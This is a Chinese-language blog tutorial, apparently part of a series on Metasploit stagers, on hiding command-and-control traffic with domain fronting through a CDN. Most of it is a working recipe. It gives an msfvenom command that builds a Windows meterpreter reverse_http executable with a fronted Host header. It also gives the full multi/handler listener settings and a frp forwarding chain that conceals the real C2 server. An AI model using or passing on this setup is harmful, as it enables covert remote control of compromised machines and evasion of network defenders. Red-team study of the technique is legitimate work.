msf 中使用域前置技術隱藏流量
前幾篇都是說了下如何採用不同的語言開發 reverse_tcp 第二階段,接下來將慢慢分析 reverse_http,這篇文章並不會圍繞 stagers 進行講解,這篇文章只是半埋上我之前挖的一個坑,關於域前置技術如何在 msf 中進行應用。
域前置技術介紹
域前置技術(Domain-Fronting)顧名思義,把域名放在前面,流量的前面,那麼我們應該如何做到這件事情,這個一般就是利用各大 cdn 服務了。
cdn 技術我不用做過多介紹,相信大家給自己的網站上 cdn 都會上,簡略來說原理的話,在域名註冊商那裡把 ns 記錄,也就是 dns 解析伺服器指向到你選擇的 cdn 服務商,然後 cdn 就可以接管你的域名解析了,通過不同的快取分流策略,把流量經過他的伺服器後再轉發給我們自己,也就是 cdn 後面的真實ip我們是不容易找到的。
那麼應用到 C2 上,我們 C2 伺服器也可以掛在 cdn 後面,流量通過 cdn 轉發回來。
具體更為詳細的介紹可以參見 紅隊行動之魚叉攻擊-傾旋
基礎配置
首先不管怎樣你需要有一個伺服器,以及一個加了 cdn 的域名執行你伺服器
這裡我假設我們持有的域名為 test.akkuman.com,域名配好 cdn 指向的伺服器是 1.1.1.1
這裡你是把伺服器架在 msf 上面還是內網穿透打通埠,這個看自己喜好
我這裡是 msf 位於其他地方 2.2.2.2,然後 2.2.2.2 的 5555 埠通過 frp 對映到 1.1.1.1 的 80 埠上。
5555 埠是我們待會 msf 監聽的埠,80 埠是因為訪問域名,http 協議,訪問80。
因為這些流量會通過 cdn 先轉發到我們主機上的 80 埠,然後 80 埠上的流量會通過 frp 處理後送到我們本機監聽的 5555 埠上。
生成 msf payload
基礎一些配置做好之後,我們可以生成 payload 了。
首先我們需要得到一個 cdn 的 ip,因為 cdn 是依靠 http header 中的 Host 頭進行流量轉發的,所以我們只需要 ping 一下我們加了 cdn 的域名即可獲得一個 ip,這裡我是用的 cloudflare,獲得的一個 ip 為 172.67.207.124
msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe
這裡 LHOST 為我們獲取的 cdn ip,因為是 http 協議的 payload,訪問域名是訪問 80 埠,LPORT 我們設定為 80
HttpHostHeader 選項為這個生成的 payload 使用 http 協議回連到 cdn ip 時 http header 所使用的 Host 頭,還記得我們剛才說的 cdn 如何識別域名進行流量轉發嗎,這個就主要是為了 cdn 能夠把流量轉回到我們自己的伺服器
建立監聽器
msf 在監聽中有一些配置需要說明一下
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
-
首先 lhost 為給 payload 返回第二階段載荷時填入的 ip 地址,即第二階段會回連到這個 ip
-
lport 為給 payload 返回第二階段載荷時填入的 port,即第二階段會回連到這個埠
-
HttpHostHeader 前面說過,是 payload 回連到這個 ip 和 port 時在 http header 中填入的 Host 頭
-
OverrideRequestHost 這個選項需要設定為 true,主要是因為 msf 的歷史原因,msf 預設是使用傳入請求 http header 中的 Host 欄位來作為第二階段的配置,也就是第二階段會採用建立連線時傳入請求的 Host,這種預設行為在大多數請求下沒問題,具體可以自行測試,具體是需要 cdn 回連到我們真實 ip 時傳遞的域名是我們想要的,這個引數設定為 true 可以讓 msf 忽略傳入請求的 Host 頭,而使用我們在 HttpHostHeader 中設定的
-
ReverseListenerBindAddress 和 ReverseListenerBindPort 引數主要是因為我的環境問題,我是通過 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那麼 duck 不必這麼做,直接監聽 80 就好
ReverseListenerBindAddress 這個引數其實設定不設定都沒關係,但是不設定的話會有個小報錯,
[-] Handler failed to bind to 172.67.207.124:80
這是因為 handler 無法將 cdn 的 ip 繫結到LHOST,因為這個 ip 在我們伺服器上不存在,繫結失敗就會提示這個,然後繼續繫結 0.0.0.0。如果想要在介面上不顯示這個錯誤,需要設定 ReverseListenerBindAddress 為 0.0.0.0 或者 127.0.0.1 之類的
可以看到,當我們不設定 ReverseListenerBindAddress 和 ReverseListenerBindPort 時會出現上面的報錯 Handler failed to bind to 172.67.207.124:80
也就是 handler 在本地上是希望監聽 80 的,而 1.1.1.1:80 上面的流量是轉發到我們伺服器 (2.2.2.2) 本機的 5555 埠上的。
所以我們的監聽程式實際上需要監聽在 5555 埠上,所以需要設定 ReverseListenerBindPort 引數
上面的 lhost 和 lport 其實主要是為了第二階段回送服務的。
實際效果
paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:隨機埠] <-> 127.0.0.1:5555
可以看到不管是請求第二階段還是後續的心跳包,都是有帶上 Host 頭,流經 cdn 伺服器的,這樣我們就達到了隱藏自身的效果
那麼 msf 會話這邊呢
可以看到,也是可以正常使用的